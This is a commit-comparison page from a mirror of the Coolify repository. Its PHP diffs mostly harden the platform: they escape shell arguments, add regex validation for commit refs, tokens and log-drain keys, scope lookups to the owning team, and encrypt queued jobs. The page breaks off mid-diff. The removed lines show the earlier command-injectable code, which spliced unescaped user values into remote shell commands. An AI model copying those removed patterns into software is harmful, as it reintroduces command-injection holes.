mirror of
https://github.com/coollabsio/coolify.git
synced 2026-03-11 08:55:47 +00:00
Compare commits
41 commits
e5b055a797
...
c57fc1a9ab
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c57fc1a9ab | ||
|
|
fc8f18a534 | ||
|
|
babc9ff658 | ||
|
|
550db87724 | ||
|
|
a596ff313e | ||
|
|
0256043ca5 | ||
|
|
88f582225b | ||
|
|
497b2b64ca | ||
|
|
eb8752c202 | ||
|
|
96b35bd2d8 | ||
|
|
7aa744af90 | ||
|
|
5cac559602 | ||
|
|
d9cdbc6096 | ||
|
|
dc34d21cda | ||
|
|
1edb2acdbf | ||
|
|
d174724bf6 | ||
|
|
fcd574e1eb | ||
|
|
a1c30cb0e7 | ||
|
|
096d4369e5 | ||
|
|
6fbb5e626a | ||
|
|
c15bcd5634 | ||
|
|
633b1803e1 | ||
|
|
458f048c4e | ||
|
|
0a1782175a | ||
|
|
a3e59e5c96 | ||
|
|
d6ac8de6b7 | ||
|
|
473371e7ed | ||
|
|
b71d1561f3 | ||
|
|
d46c2c8152 | ||
|
|
1d3dfe4dc8 | ||
|
|
5c5f67f48b | ||
|
|
e41dbde46b | ||
|
|
9702543e20 | ||
|
|
201998638a | ||
|
|
0679e91c85 | ||
|
|
a362282976 | ||
|
|
872e300cf9 | ||
|
|
470cc15e62 | ||
|
|
18118f1d61 | ||
|
|
ee03fa2fb3 | ||
|
|
6dd4361908 |
67 changed files with 1928 additions and 435 deletions
|
|
@ -327,6 +327,12 @@ class GetContainersStatus
|
|||
if (str($exitedService->status)->startsWith('exited')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Only protection: If no containers at all, Docker query might have failed
|
||||
if ($this->containers->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$name = data_get($exitedService, 'name');
|
||||
$fqdn = data_get($exitedService, 'fqdn');
|
||||
if ($name) {
|
||||
|
|
@ -406,6 +412,12 @@ class GetContainersStatus
|
|||
if (str($database->status)->startsWith('exited')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Only protection: If no containers at all, Docker query might have failed
|
||||
if ($this->containers->isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Reset restart tracking when database exits completely
|
||||
$database->update([
|
||||
'status' => 'exited',
|
||||
|
|
|
|||
|
|
@ -177,9 +177,10 @@ class CleanupDocker
|
|||
->filter(fn ($image) => ! empty($image['tag']));
|
||||
|
||||
// Separate images into categories
|
||||
// PR images (pr-*) and build images (*-build) are excluded from retention
|
||||
// Build images will be cleaned up by docker image prune -af
|
||||
// PR images (pr-*) are always deleted
|
||||
// Build images (*-build) are cleaned up to match retained regular images
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
// Always delete all PR images
|
||||
|
|
@ -209,6 +210,26 @@ class CleanupDocker
|
|||
'output' => $deleteOutput ?? 'Image removed or was in use',
|
||||
];
|
||||
}
|
||||
|
||||
// Clean up build images (-build suffix) that don't correspond to retained regular images
|
||||
// Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers.
|
||||
// If a build is in progress, docker rmi will fail silently since the image is in use.
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
foreach ($buildImages as $image) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
if (! $keptTags->contains($baseTag)) {
|
||||
$deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true";
|
||||
$deleteOutput = instant_remote_process([$deleteCommand], $server, false);
|
||||
$cleanupLog[] = [
|
||||
'command' => $deleteCommand,
|
||||
'output' => $deleteOutput ?? 'Build image removed or was in use',
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $cleanupLog;
|
||||
|
|
|
|||
|
|
@ -177,6 +177,19 @@ Files:
|
|||
$parsers_config = $config_path.'/parsers.conf';
|
||||
$compose_path = $config_path.'/docker-compose.yml';
|
||||
$readme_path = $config_path.'/README.md';
|
||||
if ($type === 'newrelic') {
|
||||
$envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
|
||||
} elseif ($type === 'highlight') {
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
|
||||
} elseif ($type === 'axiom') {
|
||||
$envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
|
||||
} elseif ($type === 'custom') {
|
||||
$envContent = '';
|
||||
} else {
|
||||
throw new \Exception('Unknown log drain type.');
|
||||
}
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
$command = [
|
||||
"echo 'Saving configuration'",
|
||||
"mkdir -p $config_path",
|
||||
|
|
@ -184,34 +197,10 @@ Files:
|
|||
"echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
|
||||
"echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
|
||||
"echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
|
||||
"test -f $config_path/.env && rm $config_path/.env",
|
||||
];
|
||||
if ($type === 'newrelic') {
|
||||
$add_envs_command = [
|
||||
"echo LICENSE_KEY=$license_key >> $config_path/.env",
|
||||
"echo BASE_URI=$base_uri >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'highlight') {
|
||||
$add_envs_command = [
|
||||
"echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'axiom') {
|
||||
$add_envs_command = [
|
||||
"echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env",
|
||||
"echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env",
|
||||
];
|
||||
} elseif ($type === 'custom') {
|
||||
$add_envs_command = [
|
||||
"touch $config_path/.env",
|
||||
];
|
||||
} else {
|
||||
throw new \Exception('Unknown log drain type.');
|
||||
}
|
||||
$restart_command = [
|
||||
"echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
|
||||
"echo 'Starting Fluent Bit'",
|
||||
"cd $config_path && docker compose up -d",
|
||||
];
|
||||
$command = array_merge($command, $add_envs_command, $restart_command);
|
||||
|
||||
return instant_remote_process($command, $server);
|
||||
} catch (\Throwable $e) {
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ namespace App\Actions\Server;
|
|||
|
||||
use App\Events\SentinelRestarted;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use Lorisleiva\Actions\Concerns\AsAction;
|
||||
|
||||
class StartSentinel
|
||||
|
|
@ -23,6 +24,9 @@ class StartSentinel
|
|||
$refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds');
|
||||
$pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds');
|
||||
$token = data_get($server, 'settings.sentinel_token');
|
||||
if (! ServerSetting::isValidSentinelToken($token)) {
|
||||
throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.');
|
||||
}
|
||||
$endpoint = data_get($server, 'settings.sentinel_custom_url');
|
||||
$debug = data_get($server, 'settings.is_sentinel_debug_enabled');
|
||||
$mountDir = '/data/coolify/sentinel';
|
||||
|
|
@ -49,7 +53,7 @@ class StartSentinel
|
|||
}
|
||||
$mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel';
|
||||
}
|
||||
$dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"';
|
||||
$dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments));
|
||||
$dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels));
|
||||
$dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image";
|
||||
|
||||
|
|
|
|||
|
|
@ -2196,7 +2196,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->create_workdir();
|
||||
$this->execute_remote_command(
|
||||
[
|
||||
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"),
|
||||
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit)." --pretty=%B"),
|
||||
'hidden' => true,
|
||||
'save' => 'commit_message',
|
||||
]
|
||||
|
|
@ -2904,7 +2904,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
private function build_image()
|
||||
{
|
||||
// Add Coolify related variables to the build args/secrets
|
||||
if (! $this->dockerBuildkitSupported) {
|
||||
if (! $this->dockerSecretsSupported) {
|
||||
// Traditional build args approach - generate COOLIFY_ variables locally
|
||||
$coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
|
||||
$coolify_envs->each(function ($value, $key) {
|
||||
|
|
@ -3515,8 +3515,8 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
|
||||
private function add_build_env_variables_to_dockerfile()
|
||||
{
|
||||
if ($this->dockerBuildkitSupported) {
|
||||
// We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag
|
||||
return;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -6,12 +6,13 @@ use App\Events\ProxyStatusChangedUI;
|
|||
use App\Models\Server;
|
||||
use App\Notifications\Server\TraefikVersionOutdated;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class CheckTraefikVersionForServerJob implements ShouldQueue
|
||||
class CheckTraefikVersionForServerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -5,12 +5,13 @@ namespace App\Jobs;
|
|||
use App\Enums\ProxyTypes;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class CheckTraefikVersionJob implements ShouldQueue
|
||||
class CheckTraefikVersionJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -307,6 +307,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
|
||||
$application->status = $aggregatedStatus;
|
||||
$application->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
|
||||
continue;
|
||||
|
|
@ -321,6 +323,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
|
||||
$application->status = $aggregatedStatus;
|
||||
$application->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -371,6 +375,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
|
||||
$subResource->status = $aggregatedStatus;
|
||||
$subResource->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$subResource->update(['last_online_at' => now()]);
|
||||
}
|
||||
|
||||
continue;
|
||||
|
|
@ -386,6 +392,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
|
||||
$subResource->status = $aggregatedStatus;
|
||||
$subResource->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$subResource->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -399,6 +407,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
} else {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -413,6 +423,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
} else {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -508,6 +520,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($database->status !== $containerStatus) {
|
||||
$database->status = $containerStatus;
|
||||
$database->save();
|
||||
} else {
|
||||
$database->update(['last_online_at' => now()]);
|
||||
}
|
||||
if ($this->isRunning($containerStatus) && $tcpProxy) {
|
||||
$tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) {
|
||||
|
|
@ -545,8 +559,12 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
$database = $this->databases->where('uuid', $databaseUuid)->first();
|
||||
if ($database) {
|
||||
if (! str($database->status)->startsWith('exited')) {
|
||||
$database->status = 'exited';
|
||||
$database->save();
|
||||
$database->update([
|
||||
'status' => 'exited',
|
||||
'restart_count' => 0,
|
||||
'last_restart_at' => null,
|
||||
'last_restart_type' => null,
|
||||
]);
|
||||
}
|
||||
if ($database->is_public) {
|
||||
StopDatabaseProxy::dispatch($database);
|
||||
|
|
@ -555,31 +573,6 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
});
|
||||
}
|
||||
|
||||
private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus)
|
||||
{
|
||||
$service = $this->services->where('id', $serviceId)->first();
|
||||
if (! $service) {
|
||||
return;
|
||||
}
|
||||
if ($subType === 'application') {
|
||||
$application = $service->applications->where('id', $subId)->first();
|
||||
if ($application) {
|
||||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
}
|
||||
}
|
||||
} elseif ($subType === 'database') {
|
||||
$database = $service->databases->where('id', $subId)->first();
|
||||
if ($database) {
|
||||
if ($database->status !== $containerStatus) {
|
||||
$database->status = $containerStatus;
|
||||
$database->save();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function updateNotFoundServiceStatus()
|
||||
{
|
||||
$notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds);
|
||||
|
|
|
|||
|
|
@ -7,13 +7,14 @@ use App\Models\SslCertificate;
|
|||
use App\Models\Team;
|
||||
use App\Notifications\SslExpirationNotification;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class RegenerateSslCertJob implements ShouldQueue
|
||||
class RegenerateSslCertJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,16 +4,27 @@ namespace App\Jobs;
|
|||
|
||||
use App\Notifications\Dto\SlackMessage;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
class SendMessageToSlackJob implements ShouldQueue
|
||||
class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
/**
|
||||
* The number of times the job may be attempted.
|
||||
*/
|
||||
public $tries = 5;
|
||||
|
||||
/**
|
||||
* The number of seconds to wait before retrying the job.
|
||||
*/
|
||||
public $backoff = 10;
|
||||
|
||||
public function __construct(
|
||||
private SlackMessage $message,
|
||||
private string $webhookUrl
|
||||
|
|
|
|||
|
|
@ -22,6 +22,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue
|
|||
*/
|
||||
public $tries = 5;
|
||||
|
||||
/**
|
||||
* The number of seconds to wait before retrying the job.
|
||||
*/
|
||||
public $backoff = 10;
|
||||
|
||||
/**
|
||||
* The maximum number of unhandled exceptions to allow before failing.
|
||||
*/
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ use App\Models\Server;
|
|||
use App\Models\Team;
|
||||
use Cron\CronExpression;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
|
|
@ -15,7 +16,7 @@ use Illuminate\Support\Carbon;
|
|||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class ServerManagerJob implements ShouldQueue
|
||||
class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,11 +4,12 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class StripeProcessJob implements ShouldQueue
|
||||
class StripeProcessJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,12 +4,13 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class SyncStripeSubscriptionsJob implements ShouldQueue
|
||||
class SyncStripeSubscriptionsJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -8,13 +8,14 @@ use App\Events\ServerReachabilityChanged;
|
|||
use App\Events\ServerValidated;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class ValidateAndInstallServerJob implements ShouldQueue
|
||||
class ValidateAndInstallServerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,12 +4,13 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class VerifyStripeSubscriptionStatusJob implements ShouldQueue
|
||||
class VerifyStripeSubscriptionStatusJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -37,7 +37,7 @@ class General extends Component
|
|||
#[Validate(['required'])]
|
||||
public string $gitBranch;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
|
||||
public ?string $gitCommitSha = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
@ -184,7 +184,7 @@ class General extends Component
|
|||
'fqdn' => 'nullable',
|
||||
'gitRepository' => 'required',
|
||||
'gitBranch' => 'required',
|
||||
'gitCommitSha' => 'nullable',
|
||||
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'installCommand' => 'nullable',
|
||||
'buildCommand' => 'nullable',
|
||||
'startCommand' => 'nullable',
|
||||
|
|
|
|||
|
|
@ -50,6 +50,8 @@ class Rollback extends Component
|
|||
{
|
||||
$this->authorize('deploy', $this->application);
|
||||
|
||||
$commit = validateGitRef($commit, 'rollback commit');
|
||||
|
||||
$deployment_uuid = new Cuid2;
|
||||
|
||||
$result = queue_application_deployment(
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@ class Source extends Component
|
|||
#[Validate(['required', 'string'])]
|
||||
public string $gitBranch;
|
||||
|
||||
#[Validate(['nullable', 'string'])]
|
||||
#[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
|
||||
public ?string $gitCommitSha = null;
|
||||
|
||||
#[Locked]
|
||||
|
|
|
|||
|
|
@ -45,10 +45,10 @@ class Danger extends Component
|
|||
|
||||
if ($this->resource === null) {
|
||||
if (isset($parameters['service_uuid'])) {
|
||||
$this->resource = Service::where('uuid', $parameters['service_uuid'])->first();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first();
|
||||
} elseif (isset($parameters['stack_service_uuid'])) {
|
||||
$this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first()
|
||||
?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first();
|
||||
$this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first()
|
||||
?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -38,7 +38,7 @@ class ExecuteContainerCommand extends Component
|
|||
$this->servers = collect();
|
||||
if (data_get($this->parameters, 'application_uuid')) {
|
||||
$this->type = 'application';
|
||||
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
if ($this->resource->destination->server->isFunctional()) {
|
||||
$this->servers = $this->servers->push($this->resource->destination->server);
|
||||
}
|
||||
|
|
@ -61,14 +61,14 @@ class ExecuteContainerCommand extends Component
|
|||
$this->loadContainers();
|
||||
} elseif (data_get($this->parameters, 'service_uuid')) {
|
||||
$this->type = 'service';
|
||||
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
if ($this->resource->server->isFunctional()) {
|
||||
$this->servers = $this->servers->push($this->resource->server);
|
||||
}
|
||||
$this->loadContainers();
|
||||
} elseif (data_get($this->parameters, 'server_uuid')) {
|
||||
$this->type = 'server';
|
||||
$this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail();
|
||||
$this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail();
|
||||
$this->servers = $this->servers->push($this->resource);
|
||||
}
|
||||
$this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled());
|
||||
|
|
|
|||
|
|
@ -106,7 +106,7 @@ class Logs extends Component
|
|||
$this->query = request()->query();
|
||||
if (data_get($this->parameters, 'application_uuid')) {
|
||||
$this->type = 'application';
|
||||
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->status = $this->resource->status;
|
||||
if ($this->resource->destination->server->isFunctional()) {
|
||||
$server = $this->resource->destination->server;
|
||||
|
|
@ -133,7 +133,7 @@ class Logs extends Component
|
|||
$this->containers->push($this->container);
|
||||
} elseif (data_get($this->parameters, 'service_uuid')) {
|
||||
$this->type = 'service';
|
||||
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource->applications()->get()->each(function ($application) {
|
||||
$this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid'));
|
||||
});
|
||||
|
|
|
|||
|
|
@ -24,16 +24,16 @@ class LogDrains extends Component
|
|||
#[Validate(['boolean'])]
|
||||
public bool $isLogDrainAxiomEnabled = false;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainNewRelicLicenseKey = null;
|
||||
|
||||
#[Validate(['url', 'nullable'])]
|
||||
public ?string $logDrainNewRelicBaseUri = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainAxiomDatasetName = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainAxiomApiKey = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
@ -127,7 +127,7 @@ class LogDrains extends Component
|
|||
if ($this->isLogDrainNewRelicEnabled) {
|
||||
try {
|
||||
$this->validate([
|
||||
'logDrainNewRelicLicenseKey' => ['required'],
|
||||
'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainNewRelicBaseUri' => ['required', 'url'],
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
|
|
@ -138,8 +138,8 @@ class LogDrains extends Component
|
|||
} elseif ($this->isLogDrainAxiomEnabled) {
|
||||
try {
|
||||
$this->validate([
|
||||
'logDrainAxiomDatasetName' => ['required'],
|
||||
'logDrainAxiomApiKey' => ['required'],
|
||||
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
$this->isLogDrainAxiomEnabled = false;
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ class Sentinel extends Component
|
|||
|
||||
public bool $isMetricsEnabled;
|
||||
|
||||
#[Validate(['required'])]
|
||||
#[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])]
|
||||
public string $sentinelToken;
|
||||
|
||||
public ?string $sentinelUpdatedAt = null;
|
||||
|
|
|
|||
|
|
@ -139,7 +139,9 @@ class Show extends Component
|
|||
private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->environment->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -130,7 +130,9 @@ class Show extends Component
|
|||
